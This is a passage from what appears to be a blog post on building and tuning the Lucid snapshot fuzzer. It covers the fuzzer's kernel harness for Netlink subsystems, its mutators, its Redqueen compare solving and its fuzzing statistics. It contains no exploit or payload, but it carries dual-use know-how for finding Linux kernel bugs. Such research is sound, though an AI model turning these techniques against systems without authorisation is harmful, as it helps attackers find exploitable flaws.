	// Bochs to save a snapshot of its state to disk that Lucid will be able
	// to resume in its purposbe built version of Bochs called `lucid_bochs`
	asm volatile("xchgw %dx, %dx");

	// Make sure we enough bytes to construct the input metadata
	if (fc.input_len < sizeof(struct lf_input))
		return 1;

	// Cast the data to our metadata struct
	input = (struct lf_input *)fc.input;

	// Sanity check the values
	if (input->total_len != fc.input_len || input->total_len > LF_MAX_INPUT_LEN)
		return 1;

	// Sanity check the number of messages
	if (input->num_envs > LF_MAX_NUM_ENVS || input->num_envs == 0)
		return 1;

	// Check how many remaining bytes we have, and subtract what we already
	// consumed with the input metadata
	remaining = input->total_len;
	remaining -= LF_INPUT_HDR_SIZE;

	// Start tracking an offset into the byte buffer where we're reading from
	offset = LF_INPUT_HDR_SIZE;

	// Iterate through the envelopes and parse each one
	for (i = 0; i < input->num_envs; i++) {
		// Make sure we have enough data remaining to parse an envelope metadata
		if (remaining < LF_ENV_HDR_SIZE)
			return 1;

		// We can at least read the length field, and sanity check it
		env = (struct lf_envelope *)(fc.input + offset);
		if (env->len > LF_MAX_ENV_LEN || env->len == 0)
			return 1;

		// Consume those bytes
		remaining -= LF_ENV_HDR_SIZE;

		// Make sure we can read that much data
		if (remaining < env->len)
			return 1;

		// We have enough data left, create the skb for this envelope
		fuzz_skb = create_fuzz_skb(env, i);
		if (!fuzz_skb)
			return 1;

		// Dispatch the fuzz_skb to nftables!
		dispatch_skb(fuzz_skb);

		// Update our offset
		offset += (LF_ENV_HDR_SIZE + env->len);

		// Update remaining
		remaining -= env->len;
	}

	// Done parsing envelopes, check if we have remaining bytes
	if (remaining)
		return 1;

	/** LUCID RESTORES SNAPSHOT **/
	asm volatile("xchgw %bx, %bx");

	// Finally done
	return 0;
}

// Cleanup resources from lf_init(), not used when fuzzing but good for harness
// dev/testing
void lucid_fuzz_cleanup(void) {
	int i = 0;

	for (i = 0; i < LF_MAX_NUM_ENVS; i++) {
		kfree_skb(skbs[i]);
		skbs[i] = NULL;
	}

	// NULL the globals
	kern_sock = NULL;
	handler = NULL;

	// Set input size to 0
	fc.input_len = 0;
}

We’ve spent a lot of time so far on this blog documenting the development process of Lucid, our full-system snapshot fuzzer, and I really wanted to start using it to do some real fuzzing. So the focus of this blog post will be documenting the process I had to take to get Lucid up and fuzzing on a real target. So far, Lucid has only worked on a toy harness/example, and so we need to see what kind of things need tweaking when a real target comes into play.

Off-Blog Snapshot Dev

Since the last post, the biggest change has been the way we do snapshots. I found that on the simple development target, a really tight fuzzing loop, the scaling factor for the old snapshot method deteriorated quickly.

Old Snapshot Method Revisited

If you remember, the fuzzer works by loading a static-pie ELF image of the Bochs x86 emulator into the fuzzer process and context switching between the now sand-boxed emulator that runs our target and our fuzzer which does all the fuzzy things. Because we load and sand-box Bochs, we know the location of every memory segment in the image that is writable, as well as where the dynamic memory is because we don’t allow Bochs to interface with the OS to allocate memory, the fuzzer handles that. So what we did was map the writable memory segments such that they were all contiguous in memory. Then when we take a snapshot of Bochs, all we have to do is capture that memory state and save it off. We did that, and we saved the memory as a memory-backed file. On Linux, snapshot restoration then becomes very simple, we just mmap that memory backed file back over top the contiguous writable memory region. One single syscall to restore memory. We did this mainly because it was very simple. Well it turns out, when you ask the kernel to invalidate/destroy/and overwrite billions of bytes worth of pages thousands of times per second, it scales poorly. Embarrassed to admit that I don’t quite remember what the bottleneck was, but I seem to remember that the mmap requests seemed to need some sort of serialization and were spending most of their CPU time destroying the dirtied memory backing pages. My scaling factor went into the toilet once I brought up the 8 cores I have on my devbox. So I had to find another way to do this, likely one that didn’t depend on restoring all writable memory each iteration, but differentially resetting only dirty memory in Bochs.

New Strategy for Linear Scaling

We want to be able to scale Lucid linearly as we bring more cores online for fuzzing, so we want our scaling factor to be one-to-one with the amount of cores being used. 100 cores should bring us a 100x speed-up over single-core fuzzing. So we need a way to differentially restore only the dirty memory and not all writable memory. We also want to strive for a method that doesn’t invoke the kernel via syscall, because that’s how you bottleneck across cores. The way I decided to do this is not novel and I didn’t invent this method, it’s actually similar to the way a lot of fuzzers get coverage feedback on black-box targets.

What I ended up doing is marking all of the writable pages that we load for Bochs as having no write permissions (strictly PROT_READ). This way, when Bochs tries to write to a page, it will cause a page-fault. On Linux, your process gets a signal delivered whenever this happens and you can invoke a function to handle signals. So I patched Bochs to handle these page faults and in the signal handler function Bochs marks the faulting address as a dirty page in a data structure that both Bochs and Lucid have access to. So now, we’ve logged a page that was dirtied and we then make that page permanently writable and we restore that page on snapshot reset every time now. This design boils snapshot restoration down to a series of memcpy calls from the snapshot memory to the dirty memory. Now we’ve achieved differential restoration and everything is done purely in userspace via memcpy, no syscalls are invoked in the hot path to restore the snapshot. This seems to scale perfectly and we’re pretty close to the one-to-one scaling factor we’re after. The fuzzers spend 100% of their time in userland when they’re executing the hot fuzzing loops.

+----------------------------------------------+
| [1] Fuzzcase Begins                          |<---------------+
| Lucid starts executing target code in Bochs. |                |
+----------------------------------------------+                |
                               |                                |
                               v                                |
+----------------------------------------------+                |
| [2] Bochs Writes to Page                     |                |
| Attempted write -> page is PROT_READ only.   |                |
+----------------------------------------------+                |
                               |                                |
                               v                                |
+----------------------------------------------+                |
| [3] Page Fault Handler                       |                |
| Fault occurs -> handler adds page to dirty   |                |
| list and sets protection to PROT_WRITE.      |                |
+----------------------------------------------+                |
                               |                                |
                               v                                |
+----------------------------------------------+                |
| [4] Fuzzcase Ends                            |                |
| Execution completes                          |                |
+----------------------------------------------+                |
                               |                                |
                               v                                |
+----------------------------------------------+                |
| [5] Snapshot Restore                         |                |
| Lucid iterates dirty list -> memcpy snapshot |                |
| contents back into those pages.              |----------------+
| (No syscalls, all user-space.)               |
+----------------------------------------------+

Redqueen for Compare Solving

I also was able to implement Redqueen by instrumenting compare instructions in Bochs. We’ll get into Redqueen in more details below when we enable compare coverage in our fuzzing experiment and try to determine how helpful it is for this specific target.

Harness Development

With that out of the way, we need something to fuzz! For this, I wanted to do something very broad and shallow, so I homed in on looking at Linux kernel subsystems that accessible via Netlink. Netlink is a network/communication protocol that allows userspace to communicate with the kernel over sockets, vs. something like a driver or a syscall. A lot of the bugs that have been exploited in public the last 5 years, have been bugs in subsystems that have Netlink plumbing, things like: netfilter, the packet scheduler, etc. Because these subsystems are designed to just receive bytes of Netlink buffer data, I thought this would be a great first thing to get fuzzing on.

Since we want to fuzz multiple subsystems (broad, shallow), we first have to figure out how Netlink communications normally function. The typical workflow of a userspace program or utility that wants to communicate with the kernel over Netlink is to open a Netlink socket of a specific type of Netlink protocol, something like the following that are used in the harness: NETLINK_ROUTE, NETLINK_XFRM, NETLINK_NETFILTER, and NETLINK_CRYPTO. For example:

socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)

When the userspace program sends data to the Netlink socket that has a protocol associated with it, we end up in netlink_sendmsg. This function’s job is basically to create an appropriately initialized struct sk_buff that wraps the user’s data that was sent via the sendmsg syscall. This socket buffer is then dispatched to the appropriate handler (in the example, the handler for NETFILTER would be nfnetlink_rcv).

So what I want to do is skip any userspace to kernel context switching in our harness and just inject our fuzzing inputs directly into kernel space to be dispatched to the appropriate handlers. So I ended up structuring the fuzzing input as a series of what I’m calling “messages” and each “message” is its own Netlink message for a random protocol that we’re fuzzing. I settled arbitrarily on fuzzing inputs maxing out at 16 messages, so we can randomly send any number of messages per input up to 16. In the fuzzing harness, we use these data structures to create a fuzzing input:

// An input structure
struct lf_input {
	u32 total_len;
	u32 num_msgs;
	u8 data[];
};

// A message structure
struct lf_msg {
	u32 protocol;
	u32 msg_len;
	u8 data[];
};

So the entire input structure is described by struct lf_input which tells us the total length of the messages it contains and the number of messages followed by all of the messages stuffed together. An individual message is described by struct lf_msg which contains a protocol member corresponding to one of the NETLINK protocols we listed earlier (NETLINK_ROUTE, NETLINK_XFRM, NETLINK_NETFILTER, and NETLINK_CRYPTO) and then the message’s length msg_len and the message’s data thereafter:

============================= LUCID INPUT STRUCTURE =============================
lf_input {
  total_len: 4 bytes
  num_msgs:  4 bytes
  ────────────────────
  lf_msg {
    protocol: 4 bytes  (ROUTE=0, XFRM=1, NETFILTER=2, CRYPTO=3)
    msg_len:  4 bytes
    data:     variable (netlink message bytes)
  },
  lf_msg {
    protocol: 4 bytes  (ROUTE=0, XFRM=1, NETFILTER=2, CRYPTO=3)
    msg_len:  4 bytes
    data:     variable (netlink message bytes)
  },
  ... (up to 16 messages)
}
=================================================================================

For testing and development purposes, I leveraged the flexibility/power of snapshot fuzzing to just add a new syscall to the Linux kernel that looked like:

SYSCALL_DEFINE2(lucid_fuzz, const void __user *, data, size_t, len)
{
    printk("Inside lucid fuzz!\n");
	int ret = 0;

	// Initialize everything we need to fuzz
	ret = lf_init(data, len);
	if (ret)
		goto done;

    printk("Initialization done\n");

	// Handle fuzz inputs
	if (lf_handle_input()) {
		ret = -EINVAL;
		goto done;
	}

	// Cleanup resources, not needed when fuzzing, but good for testing
	lf_cleanup();

done:
    printk("Inside done, returning %d!\n", ret);
	return ret;
}

So this will take a user supplied data buffer and send it to lf_init, which is a function I wrote that pre-allocates the socket buffers we want to use (remember we know that at most we can send 16 messages) and finds all of the Netlink subsystem receive handlers, functions like: nfnetlink_rcv, rtnetlink_rcv, crypto_netlink_rcv, and xfrm_netlink_rcv. When not fuzzing under Lucid, the syscall will copy the user supplied data into the global “fuzzcase” variable and then lf_handle_input will take care of wrapping that fuzzcase into the appropriate pre-allocated socket buffer and sending it to the appropriate handler. Here is what lf_handle_input looks like, this is where the magic happens. Keep in mind that the fc variable is a global, standing for “fuzzcase” and this is where Lucid injects fuzzing inputs:

// Main fuzzcase handling logic
int lf_handle_input(void) {
	int i = 0;
	struct lf_input *curr = NULL;
	struct lf_msg *msg = NULL;
	u32 remaining = 0;
	u32 offset = 0;
	struct sk_buff *fuzz_skb = NULL;

	printk("Inside lf_handle_input\n");

	/** LUCID TAKES SNAPSHOT HERE **/
	asm volatile("xchgw %dx, %dx");

	// Make sure we have enough size to make an `lf_input` struct
	if (fc.input_len < sizeof(struct lf_input))
		return 1;

	// Get the `lf_input` and do sanity checks
	curr = (struct lf_input *)fc.input;
	if (curr->total_len != fc.input_len || curr->total_len > LF_MAX_INPUT_SIZE)
		return 1;

	if (curr->num_msgs > LF_MAX_MSGS)
		return 1;

	// Remaining bytes to consume
	remaining = curr->total_len;

	// Since we created a structure, we have consumed the `lf_input` header, we
	// can count those bytes as consumed and update remaining
	remaining -= LF_INPUT_HDR_SIZE;

	// Update offset to point to the first message
	offset = LF_INPUT_HDR_SIZE;

	// Parse and handle the messages in the
	for (i = 0; i < curr->num_msgs; i++) {
		// Make sure we have enough size to make an `lf_msg` struct
		if (remaining < LF_MSG_HDR_SIZE)
			return 1;

		// Create an `lf_msg` struct
		msg = (struct lf_msg *)(fc.input + offset);
		if (msg->msg_len > LF_MAX_MSG_SIZE || msg->protocol >= LF_NUM_PROTOCOLS)
			return 1;

		// We've now consumed the message header bytes
		remaining -= LF_MSG_HDR_SIZE;

		// Make sure we have enough data remaining to fill this message
		if (remaining < msg->msg_len)
			return 1;

		// Create a fuzzcase skb to send to netlink_rcv function
		fuzz_skb = create_fuzz_skb(msg, i);
		if (!fuzz_skb)
			return 1;
		
		// Dispatch the skb to the appropriate handler
		dispatch_skb(msg, fuzz_skb);

		// Update offset
		offset += (LF_MSG_HDR_SIZE + msg->msg_len);

		// Update remaining
		remaining -= msg->msg_len;
	}

	// Check to see if we have remaining, if we do, something is amiss
	if (remaining)
		return 1;

	/** LUCID RESTORES SNAPSHOT HERE **/
	asm volatile("xchgw %bx, %bx");

	// Success
	return 0;
}

We iterate through the array of messages, parse them, and send them on their way to the appropriate subsystem. I also made this harness extremely strict so that we fail if anything is amiss, even if we have leftover bytes after parsing. This will cause lf_input to return early and not reach the snapshot restoration NOP instruction. This would cause the fuzzcase to “escape” the fuzzing harness and would eventually incur a timeout. In Lucid, we do timeouts based on the number of emulated instructions. So it would be immediately obvious if we had some mutator/generator/harness bug because the fuzzcases would timeout.

During this portion of development, I was really focused on optimizing the harness. I wanted to skip all of the Netlink sanity checking and plumbing that takes place after the initial netlink_sendmsg function thinking this would speed up the fuzzer a substantial amount. I was really careful to retain semantic equivalence to that skipped code though. However, in the end, I made mistakes that you may be able to spot. For instance, during a normal netlink_sendmsg call, the socket buffer that it creates doesn’t have all of the same fields initialized and it doesn’t use kernel sockets. So I actually had a single false positive NULL pointer dereference crash at one point during my longest fuzzing session that wouldn’t have existed if I had retained 100% semantic equivalence. I think going forward on the blog, I’ll move more towards less invasive harnessing and just eat the performance hit. It became apparent when our fuzzcases started reaching deeper code paths that the fuzzer was extremely slow and the aggressive optimization in the harness wouldn’t have really made much of a difference, so I’m going to skip that going forward.

It should be noted that this is not a great approach for finding bugs. We’re merely trying to assess how Lucid does fuzzing some real code. Sending random messages per input to the various subsystems that have little interplay with one another and can’t access each other in any meaningful way is not a strategy for reaching deep code and finding complex bugs. Fuzzing in this way is more likely to reveal simple shallow parsing level bugs, and in 2025 that is probably not going to yield many results.

Stage-1 Fuzzing: Dumb Byte Mutator

First thing is first, let’s throw some random bytes at these Netlink handlers. To do this, I changed how Lucid sees mutator code. Now, there is a top-level Mutators crate and it defines several generic traits and characteristics that every custom mutator implementation must have. These are things like a rand function for example. But after you implement the generic stuff that the core fuzzer relies on existing, you are free to have as custom of a mutator as you like. Now you can implement any mutator you want and put it under mutators/ in the source code directory. This allows some pretty nice flexibility. I added a command line flag to specify a mutator by name and then they are created by the factory type function here in mod.rs:

/// Simple factory to create mutators by name (extend as needed).
pub fn create_mutator(
    name: &str,
    seed: Option<usize>,
    max_size: usize,
) -> Result<Box<dyn Mutator>, LucidErr> {
    match name {
        "toy" => Ok(Box::new(ToyMutator::new(seed, max_size))),
        "netlink" => Ok(Box::new(NetlinkMutator::new(seed, max_size))),
        _ => Err(LucidErr::from(&format!("Unrecognized mutator '{}'", name))),
    }
}

I started off by just implementing some basic mutation strategies:

• ByteInsert: Randomly insert bytes of arbitrary value into the message buffer
• ByteOverwrite: Randomly overwrite a byte in the message with a byte of arbitrary value
• ByteDelete: Randomly delete a byte from the message buffer
• BitFlip: Randomly flip a bit in the message buffer
• ProtocolChange: Randomly change the protocol of a message (ie, switch from NETLINK_ROUTE to NETLINK_NETFILTER)

In addition to these strategies, the mutator will often “stack” these strategies per input. I defined a MAX_STACK of 7 (arbitrary), and so the mutator may choose to randomly mutate the input with up to 7 of these strategies per iteration.

These mutation strategies actually achieved quite a bit of code coverage surprisingly. Initially, the iterations were extremely short because most Netlink messages we sent were nonsensical. The Netlink message structure looks like this:

/**
 * struct nlmsghdr - fixed format metadata header of Netlink messages
 * @nlmsg_len:   Length of message including header
 * @nlmsg_type:  Message content type
 * @nlmsg_flags: Additional flags
 * @nlmsg_seq:   Sequence number
 * @nlmsg_pid:   Sending process port ID
 */
struct nlmsghdr {
	__u32		nlmsg_len;
	__u16		nlmsg_type;
	__u16		nlmsg_flags;
	__u32		nlmsg_seq;
	__u32		nlmsg_pid;
};

Since we’re sending random bytes, we rarely have a nlmsg_len that makes sense for our random message array of bytes. So it took a while for the fuzzer to generate the right type of input to solve early message parsing to actually reach code behind that sanity check. We had to generate an input that had the right length.

Here are the results I achieved with this simple mutator and our aforementioned harness in a short time:

[lucid stats (start time: 2025-09-19 08:57:11)]
globals: uptime: 0d 22h 26m 28s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 88.266M | iters/s: 206.81 | iters/s/f: 25.85
cpu: target: 92.7% | reset: 6.8% | mutator: 0.0% | coverage: 0.5% | redqueen: 0.0% | misc: 0.0%
coverage: edges: 16917 | last find: 0h 2m 6s | map: 25.81%
snapshot: dirty pages: 3841 | dirty / total: 0.00068% | reset memcpys: 438
corpus: inputs: 31000 | corpus size (MB): 318.303 | max input: 0x8088

You can see that we fuzzed the harness with this iteration of the mutator for almost a full day on my development VM. It surprisingly captured quite a bit of edges, around ~17k. We can also see that we were able to process quite a bit of iterations as we almost reached 100 million iterations during that time period. Globally across all 8 fuzzers we were sitting at about 200 iterations/sec when the last stats banner printed. Relatively speaking to subsequent versions of the mutator, this is quite a bit of throughput. This is because, like we discussed, most inputs simply didn’t pass initial parsing and so they returned early; in other words, our mutator created a ton of junk that didn’t do anything worthwhile. So while the throughput looks good on paper, it’s actually not good for us. We can also tell this by the relatively high number of CPU time we spend in reset, meaning we spend almost 7% of our time performing snapshot resets.

It should be noted before we get much further comparing results across different iterations of the fuzzer that these results are likely not very meaningful. We can possibly deduce large picture conclusions like: it’s better to send inputs that have a sane nlmsg_len, but the results are likely too random to glean much else when we aren’t making 10x improvements. So keep that in mind, we aren’t doing a proper experiment here. I make a change to the fuzzer, run it for a day or so, check results, compare, repeat. With how low our throughput is (Lucid is very slow), and how limited our fuzzing time is, we can’t produce high-quality statistics.

It should also be noted that when I tweeted about fuzzing with Lucid using this mutator, I mentioned that the fuzzer did find an edge case OOB read bug, but it was artificial in that upstream sanity checks that our harness skips would prevent it from happening. So I’m not counting it as Lucid’s first 0day.

Stage 2 Fuzzing: More Mutation Strategies

The next step is to flesh out the mutator a little more. For the next step, I added several new mutation methods that would enable us to increase our efficiency (not send so much garbage) and also create inputs that would’ve previously been pretty impossible.

I added the following mutation strategies:

• UniProtocol: Make every message in the input target the same protocol
• DuplicateMessage: Duplicate one of the messages in the input
• ShuffleMessages: Randomly shuffle the order of the messages in the input
• SpliceMessage: Steal a message from another input and splice it into the current input
• PatchHeaderLen: Determine what the correct nlmsghdr->nlmsg_len value should be and patch it
• PatchHeaderType: Somewhat intelligently, put message type values in place of nlmsghdr->nlmsg_type for the subsystems we’re targeting
• PatchHeaderFlags: Randomly create somewhat logically sane nlmsghdr->nlmsg_flags values

This step helped us quite a bit, it basically improved our efficiency by 2x:

[lucid stats (start time: 2025-09-20 16:24:38)]
globals: uptime: 0d 14h 8m 35s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 2.821M | iters/s: 31.18 | iters/s/f: 3.90
cpu: target: 97.4% | reset: 2.4% | mutator: 0.0% | coverage: 0.1% | redqueen: 0.0% | misc: 0.0%
coverage: edges: 17740 | last find: 1h 4m 52s | map: 27.07%
snapshot: dirty pages: 7455 | dirty / total: 0.00132% | reset memcpys: 648
corpus: inputs: 313510 | corpus size (MB): 3779.988 | max input: 0x8088

As you can see, we were able to capture more edges in about half the time wall-clock wise. In terms of iterations, we were able to capture more edges in 40x less iterations. So this is a pretty massive efficiency boost. I think most of this comes from having sane nlmsghdr->nlmsg_len values being saved to the corpus as well as the mutation strategies that allow us to create more complex inputs.

Previously if we were able to randomly generate a message that achieved quite a bit of code coverage, we were kind of limited in that we would have had to get extremely lucky to have another message in the same input randomly become similarly successful via dumb byte flipping. Instead now, we have new strategies like message duplication, message splicing, and unifying protocols so that each message has a chance to be sent to the same subsystem etc, and we can achieve deeper code coverage because our messages can now build off of previous messages in the same input.

Because our inputs had such a dramatically higher chance of passing initial parser checks now, our throughput has plummeted to around 2-4 iterations/sec/fuzzer. I have to admit this was shockingly lower than I expected for the fuzzer. I know Bochs emulation is a considerable slow down from native execution, somewhere around 100x I believe, but I hadn’t really seen it yet because up to this point we had only fuzzed toy targets for fuzzer development. This is why people say not to optimize too early, we had no idea that our Bochs emulation bottleneck was so pronounced and we could’ve spent so much time micro-optimizing core fuzzer code and it wouldn’t have made a difference at all.

Stage 3: Adding Compare Coverage with Redqueen

To this point, we hadn’t been using Lucid’s built in Redqueen tooling. For those that are unaware, Redqueen is the name of a fuzzing paper by the geniuses at Ruhr-University in Bochum that tackles the problem of solving comparisons in fuzzing.

Oftentimes in fuzzing, the target will want to compare values derived from your input to values that it knows should/could exist. For instance, the following may exist semantically in a fuzzing target:

if (*(uint32_t *)(&fuzzing_input[0x1337]) == 0xdeadbeef) {
  buggy_function();
}

In this example, the target is checking our input for the presence of a magic value, in this case 0xdeadbeef. A lof of the time, these simple magic byte value checks represent a huge roadblock in automated fuzzing with no human in the loop. Using our dumb byte flipping mutations, we would have to successively target the 4 consecutive bytes and also randomly make them all the write value. This can be basically impossible in a lot of circumstances.

Redqueen’s contribution is that these types of checks often boil down to cmp instructions on x86 architectures, where two “operand values” are compared with one another, these being the left operand and the right operand. Now from the point of view of determining which side is derived from the input and which side is derived from the program, it is often impossible to make this distinction. So what Redqueen does is it searches the input for both operands, if it finds one of the operands, it replaces it in the input with the other operand value, hoping that we can now pass the check.

This would be extremely expensive normally during fuzzing, so to minimize overhead, Redqueen only performs this type of mutation on inputs that recently found new code coverage, this way the overhead is mostly a one-time cost and the overhead asymptotes to zero as the campaign progresses and new coverage becomes ever more rare.

This isn’t really a fair overview of the technique, but this conveys the gist. Please read the linked paper if you’re interested, it’s probably my favorite fuzzing paper to date.

We can implement this in our fuzzer because we have access to all compare instructions of all sizes for free in Bochs. So now, what I do is, when I find a new input, I toggle something in the shared execution context data structure between Lucid and Bochs called the “CPU mode” and this tells Bochs what kind of emulation we’re doing. Once we find a new input, I replay the input but with the CPU mode set to Cmplog. This will cause Bochs to report all of the operand values that it sees in the compare instructions, the instruction pointer value, and the size of the operands back to Lucid. Lucid can now create a data base of values and try the Redqueen strategy for more coverage.

However, we ran into a huge problem, check out the statistics from the Redqueen enabled run:

[lucid stats (start time: 2025-09-21 20:13:29)]
globals: uptime: 0d 14h 18m 23s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 369.79K | iters/s: 0.10 | iters/s/f: 0.01
cpu: target: 9.1% | reset: 0.0% | mutator: 0.0% | coverage: 0.0% | redqueen: 90.9% | misc: 0.0%
coverage: edges: 15829 | last find: 0h 17m 16s | map: 24.15%
snapshot: dirty pages: 7224 | dirty / total: 0.00128% | reset memcpys: 532
corpus: inputs: 32272 | corpus size (MB): 430.671 | max input: 0x8088

We basically were only doing Redqueen analysis for the entire fuzzing run of 14 hours wherein we got roughly 7 global iterations through per second. This means that Redqueen has become a prohibitive bottleneck. And we can tell by the amount of edges we discovered that it didn’t help much, at least not initially. This general pattern can be expected:

1. Early in the campaign we find new coverage often
2. Inputs are being sent to Redqueen often

That is not surprising. However, I found that there were several problems with the Redqueen implementation itself.

Issue-1

The Redqueen paper also pointed out that sometimes input data is transformed or encoded before being compared. For instance, maybe input data is originally a u64 value but is cast as an i32 before being compared. If that were the case, we would never find the compare operand value for the i32 in our input, so we would instead need to precompute a handful of common encodings and instead search for them. If we found the compare operand -> encoding value, we’d then replace it with the same encoding of the other operand value. This makes sense. However, I had a logic bug in my implementation that attempted to solve the compare by generating all possible encodings for the found operand value instead of the single matching encoding. This increased the number of input patches to try by 15-20x.

The Redqueen paper also discovered that substituting the operand value but doing arithmetic to -1 or +1 the value was helpful in passing less/greater than comparisons. Remember we only hook compare operations that might set CPU flags and we don’t know what the program does with that information afterwards so this helps us bypass those checks as well. So in my erroneous implementation, that will 3x the number of patches we attempt which was already 15-20x too many, so that’s now around 45-60x too many patches to test.

So here’s a concrete example of what I was doing:

1. I receive a report of an operand value pair 0x1337 and 0xdead. These are 2 byte values.
2. I was pre-computing every possible encoding for both pairs (this part is correct)
3. If I found an encoding variant of 0x1337, say zero-extended to a u32, so 0x00001337 in the input, what I should be doing is applying that same encoding scheme to its partner value and creating 0x0000dead. Then I would replace 0x00001337 in the input with 0x0000dead.
4. Instead, I was replacing 0x00001337 with every possible similarly sized encoding of 0xdead

Issue-2

But wait, it gets worse! I was also not deduplicating operands based on the RIP value of the cmp instruction. Now normally, this can be ok because it allows you to potentially pass more dynamic comparisons where maybe both operand values are everchanging based on your input, say a checksum for example. However, with our throughput issues, and just wanting to do the bare-minimum here and defeat classic magic number comparisons, we can whittle down the number of input patches to try significantly by ignoring operands collected from RIP values we’ve already collected. We will rely on human-in-the-loop intervention if we ever need to defeat checksum type comparisons.

Issue-3

To cap everything off, I was creating all of the patched inputs before trying them all serially. So I would pre-compute the patched inputs and stuff them in an input queue that Lucid would then prioritize over normal mutations. This led to my fuzzers being SIGKILL by the kernel as they started holding too many inputs in memory overnight. That is actually what ended this stage of experimentation. So this fuzzing stage was an abject disaster and we end up making a ton of improvement in the next iteration.

Issue-4

Minor Note: The Redqueen paper also employed a technique it called “colorization” wherein the input would be “colored” with random bytes up until the coloring changed the execution path of the input. So it would overwrite input data with random bytes and check to see if that affected the execution path. It started with the largest amount of randomization possible and then using something like binary search, would continue to shrink the portions of the input that would be colorized until its execution trace matched the original. The purpose of this is to make finding operand values in the input easier. Instead of an input being full of 0x0 values for instance, it now contains random data and when you capture the compare operand values, that random data in the capture is easier to spot in the input and you don’t run the risk of duplicating candidate insertions. This is actually genius. Lucid has this feature too, but I found that I was spending dozens of seconds colorizing large inputs. This is because we simply are so slow. I decided that the juice wasn’t the squeeze and made it such that in order to use colorization now, you have to pass a command line flag to opt into it.

Stage 4: Fixing Redqueen

Besides fixing the aforementioned logical errors, I added some new logic to the implementation. First, I started deduping operand values collected by the RIP value. So we no longer are doing Redqueen analysis for the same RIP compare operands more than once.

Additionally, I stopped collecting compare operands for values that weren’t at least 4 bytes in size. I figure that most mutators should be able to randomly pass 1 and 2-byte comparisons by sheer luck.

I also capped the number of Redqueen inputs you can put in the fuzzer’s test queue at 500. In my testing, we never even really approached 500 inputs in the test queue with the fixed encoding search, deduping RIP, and removing < 32-byte compares. Previously, in the broken impelmentation, some fuzzers were carrying up to 1 million inputs to test!

Fixing the bugs and adding these two new things to the Redqueen code helped immensely and we achieved the following fuzzing run:

[lucid stats (start time: 2025-09-22 11:47:27)]
globals: uptime: 0d 5h 49m 26s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 738.01K | iters/s: 34.30 | iters/s/f: 4.29
cpu: target: 98.1% | reset: 1.8% | mutator: 0.0% | coverage: 0.1% | redqueen: 0.0% | misc: 0.0%
coverage: edges: 16100 | last find: 0h 1m 10s | map: 24.57%
snapshot: dirty pages: 7290 | dirty / total: 0.00129% | reset memcpys: 557
corpus: inputs: 70366 | corpus size (MB): 877.591 | max input: 0x8088

As you can see, we doubled the throughput in half of the wall-clock time. We also didn’t use so much memory that the fuzzers got killed, so that’s good. Now that Redqueen is fixed, we can move on.

Redqueen Success Example

Redqueen proved to be extremely helpful at finding new edges once we got away from the first 30 minutes or so of fuzzing. This was an awesome example I have to share:

[lucid stats (start time: 2025-09-24 15:23:35)]
globals: uptime: 0d 0h 56m 54s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 96.08K | iters/s: 18.05 | iters/s/f: 2.26
cpu: target: 97.7% | reset: 1.4% | mutator: 0.0% | coverage: 0.0% | redqueen: 0.7% | misc: 0.0%
coverage: edges: 19920 | last find: 0h 0m 56s | map: 30.40%
snapshot: dirty pages: 8122 | dirty / total: 0.00144% | reset memcpys: 982
corpus: inputs: 2581 | corpus size (MB): 8.827 | max input: 0x10088
fuzzer-2: Fuzzing increased edge count 19475 -> 19476 (+1)
fuzzer-1: Fuzzing increased edge count 19505 -> 19507 (+2)
fuzzer-7: Fuzzing increased edge count 19194 -> 19196 (+2)
fuzzer-4: Fuzzing increased edge count 19365 -> 19370 (+5)
fuzzer-4: Redqueen increased edge count 19370 -> 19721 (+351)
fuzzer-4: Redqueen increased edge count 19721 -> 19784 (+63)
fuzzer-4: Redqueen increased edge count 19784 -> 20925 (+1141)

fuzzer-4 starts off well behind the record edge count (19920) at 19365 edges discovered. It uses normal fuzzing mutation strategies and increases its edge count to 19370. Then, that new-edge-finding input is sent to Redqueen for processing and Redqueen dramatically increases the fuzzer’s edge discovery progress. It rapidly discovers 1555 new edges which is an 8% increase over what it had just reached with fuzzing.

Stage 5: Adding Seeds, Mutator Tweaks, Misc.

Seeds

In this stage, the focus was mainly on creating seed inputs that would start the fuzzing campaign off with a lot of coverage. Up to this point, the most edges we ever discovered for this fuzzing target/harness was around 17.5k which we saw with our improved mutator but without compare coverage and running for around 14 hours. Now, that doesn’t mean that compare coverage is a hinderence to edge discovery, it just means that early on it’s not as effective at finding new edges as the normal fuzzing strategies were. With seeds, I was hoping to see a dramatic increase in the number of edges discovered because we’d be spoon feeding the mutator some of the complex inputs it needs to generate.

To create seed inputs, I actually just created an LD_PRELOAD shared object that hijacked the sendmsg libc invocation found in several command line utilities that normally come packaged in Ubuntu to interact with these subystems. I’m talking about tc for setting up qdiscs or the network scheduler for NETLINK_ROUTE, or nft to interact with nf_tables for NETLINK_NETFILTER etc. I simply hook the sendmsg libc function and have it dump the message contents to the terminal in hex. Here is an example:

root@luciddev:/home/h0mbre/netlink_fuzzing# LD_PRELOAD=./hexdump_netlink.so tc qdisc add dev dummy0 root pfifo_fast
echo "3400000024000506fa2cd46800000000000000000700000000000000ffffffff000000000f000100706669666f5f666173740000"

Then I just pasted that echo string into the terminal and wrote the hex to a file and then wrapped those bytes in our fuzzing input data structure using Python:

#!/usr/bin/env python3
import sys

# lf_protocols = {0: ROUTE, 1: XFRM, 2: NETFILTER, 3: CRYPTO}

def build_seed(hex_string: str, protocol: int, out_file: str):
    # Parse hex string into bytes
    payload = bytes.fromhex(hex_string)
    payload_len = len(payload)

    # Lengths
    lf_msg_hdr_len = 8
    lf_input_hdr_len = 8
    total_len = payload_len + lf_msg_hdr_len + lf_input_hdr_len
    num_msgs = 1

    # Build buffer
    buf  = total_len.to_bytes(4, "little")
    buf += num_msgs.to_bytes(4, "little")
    buf += protocol.to_bytes(4, "little")
    buf += payload_len.to_bytes(4, "little")
    buf += payload

    # Write to disk
    with open(out_file, "wb") as f:
        f.write(buf)

    print(f"Wrote {out_file} ({len(buf)} bytes, payload={payload_len} bytes)")


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <hex_string_file> <protocol_idx> <out_file>")
        sys.exit(1)

    hex_file, protocol_str, out_file = sys.argv[1:]
    protocol = int(protocol_str)

